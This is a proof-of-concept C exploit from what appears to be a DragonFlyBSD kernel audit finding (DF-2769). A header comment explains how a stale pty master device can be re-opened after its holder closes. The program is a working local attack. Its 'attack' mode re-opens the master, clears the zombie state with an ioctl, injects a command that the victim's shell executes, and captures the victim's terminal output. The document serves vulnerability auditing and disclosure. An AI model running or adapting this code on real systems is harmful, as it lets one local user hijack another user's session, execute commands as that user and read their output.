DragonFlyBSD Kernel Audit
DF-2769 / pty_master_hijack.c
← back to finding ↓ download raw
/*
 * DF-2769 PoC: stale pty-master re-open = session takeover
 *
 * Scenario (sys/kern/tty_pty.c):
 *   1. "victim" (any local user) holds a pty slave as its controlling
 *      terminal (e.g. the shell of a crashed xterm / dead tmux server /
 *      nohup'd session leader that ignores SIGHUP).
 *   2. The legitimate master closes.  ptcclose() (tty_pty.c:637-689):
 *        - clears t_oproc (line 674)  -> ptcopen's only "already have a
 *          master" gate is disarmed
 *        - NULLs pt_prison (line 676) -> ptcopen's prison gate skipped
 *        - sets devs/devc to 0:0 mode 0666 (677-682)
 *      but the master cdev /dev/ptm/N is NOT destroyed while the slave
 *      is open (termination requires !PF_SOPEN, tty_pty.c:273).
 *   3. "attacker" (any other local user) opens /dev/ptm/N.
 *      ptcopen() (tty_pty.c:560) admits it unconditionally.
 *   4. The TS_ZOMBIE fence set by ttymodem(0) is cleared by the NEW
 *      master itself: ptyioctl falls through to ttioctl TIOCSETAW with
 *      c_cflag |= CLOCAL (sys/kern/tty.c:1065-1072, 1077).
 *   5. Attacker now has full control of the victim's terminal:
 *      ptcwrite() injects keystrokes the victim's shell executes,
 *      ptcread() captures the victim's output, TIOCSIG signals its pgrp.
 *
 * Precondition: /dev/ptm/N is DEVFS_HIDDEN on a default devfs mount
 * (devfs_core.c:2128-2133).  Exposure requires a devfs rule that shows
 * 'ptm' (this is exactly what jail devfs rulesets / "expose everything"
 * recipes do).  The PoC is run with such a rule applied (set by root in
 * run.sh) to demonstrate the kernel-side defect.
 *
 * Usage:
 *   ./pty_master_hijack victim            # start victim session, prints pts unit, waits
 *   ./pty_master_hijack attack <unit> <cmdfile>
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#ifndef TIOCSCTTY
#define TIOCSCTTY _IO('t', 132)
#endif

static int
open_master(int unit)
{
	char path[64];
	snprintf(path, sizeof(path), "/dev/ptm/%d", unit);
	return open(path, O_RDWR);
}

static void
do_victim(const char *marker)
{
	int mfd, sfd;
	char *slavepath;
	pid_t pid;

	mfd = posix_openpt(O_RDWR | O_NOCTTY);
	if (mfd < 0) { perror("victim: posix_openpt"); exit(1); }
	if (grantpt(mfd) != 0) { perror("victim: grantpt"); exit(1); }
	if (unlockpt(mfd) != 0) { perror("victim: unlockpt"); exit(1); }
	slavepath = ptsname(mfd);
	if (slavepath == NULL) { perror("victim: ptsname"); exit(1); }

	/* report the slave path to the coordinator */
	printf("UNIT=%s\n", slavepath);
	fflush(stdout);

	pid = fork();
	if (pid < 0) { perror("fork"); exit(1); }
	if (pid == 0) {
		/* child: becomes the victim session on the slave tty */
		char line[512];
		FILE *mf;

		close(mfd);
		setsid();
		sfd = open(slavepath, O_RDWR);
		if (sfd < 0) { perror("victim child: open slave"); _exit(1); }
		if (ioctl(sfd, TIOCSCTTY, (void *)0) < 0)
			perror("victim child: TIOCSCTTY");
		dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
		if (sfd > 2) close(sfd);

		signal(SIGHUP, SIG_IGN);	/* nohup semantics */

		if ((mf = fopen("/tmp/df2769_victim_alive", "w")) != NULL) {
			fprintf(mf, "victim session started\n");
			fclose(mf);
		}
		for (;;) {
			fflush(stdout);
			errno = 0;
			if (!fgets(line, sizeof(line), stdin)) {
				clearerr(stdin);
				usleep(200000);	/* master dead -> EOF loop */
				continue;
			}
			/* execute as the victim user, output goes to tty */
			int rc = system(line);
			printf("[victim rc=%d]\n", rc);
		}
		_exit(0);
	}

	/*
	 * Parent: model the crashed master holder (xterm / tmux server).
	 * We deliberately do NOT kill the child; we just drop the master.
	 */
	sleep(1);		/* let child settle into its session */
	close(mfd);		/* == master death; slave session survives */
	(void)marker;
	printf("victim-parent: master closed, session left running (pid %d)\n",
	    (int)pid);
	fflush(stdout);
	sleep(60);		/* keep coordination simple */
	exit(0);
}

static void
do_attack(const char *ptsname_, const char *cmdfile)
{
	int fd, unit;
	struct termios tio;
	char cmd[512];
	FILE *f = fopen(cmdfile, "r");
	ssize_t l;
	char out[1024];
	struct timeval tv;
	fd_set rfds;

	unit = atoi(strrchr(ptsname_, '/') + 1);
	if (!f) { perror("attack: cmdfile"); exit(1); }
	if (!fgets(cmd, sizeof(cmd), f)) { fprintf(stderr, "empty cmd\n"); exit(1); }
	fclose(f);
	cmd[strcspn(cmd, "\n")] = 0;

	fd = open_master(unit);
	if (fd < 0) {
		printf("attack: open /dev/ptm/%d failed: %s\n", unit, strerror(errno));
		printf("RESULT=FENCED\n");
		exit((errno == ENOENT) ? 3 : 1);
	}
	printf("attack: master fd opened for unit %d\n", unit);

	/* resurrect the tty: clear TS_ZOMBIE via CLOCAL */
	if (ioctl(fd, TIOCGETA, &tio) < 0) { perror("attack: TIOCGETA"); exit(1); }
	tio.c_cflag |= CLOCAL;
	if (ioctl(fd, TIOCSETAW, &tio) < 0) { perror("attack: TIOCSETAW"); exit(1); }
	printf("attack: TS_ZOMBIE cleared via TIOCSETAW+CLOCAL\n");

	/* inject a command into the victim's tty (executed by victim uid) */
	if (write(fd, cmd, strlen(cmd)) != (ssize_t)strlen(cmd)) {
		perror("attack: write");
		exit(1);
	}
	write(fd, "\n", 1);
	printf("attack: injected: %s\n", cmd);

	/* capture the victim's terminal output */
	for (int round = 0; round < 20; round++) {
		tv.tv_sec = 0; tv.tv_usec = 300000;
		FD_ZERO(&rfds); FD_SET(fd, &rfds);
		if (select(fd + 1, &rfds, NULL, NULL, &tv) > 0) {
			l = read(fd, out, sizeof(out) - 1);
			if (l > 0) {
				out[l] = 0;
				printf("attack read[%d]: %s\n", round, out);
			} else if (l == 0) {
				break;
			}
		}
	}
	printf("RESULT=HIJACKED\n");
}

int
main(int argc, char **argv)
{
	if (argc < 2) {
		fprintf(stderr,
		    "usage: %s victim [marker]\n"
		    "       %s attack <pts-path> <cmdfile>\n",
		    argv[0], argv[0]);
		return 1;
	}
	if (!strcmp(argv[1], "victim"))
		do_victim(argc > 2 ? argv[2] : NULL);
	else if (!strcmp(argv[1], "attack"))
		do_attack(argv[2], argv[3]);
	else {
		fprintf(stderr, "bad mode\n");
		return 1;
	}
	return 0;
}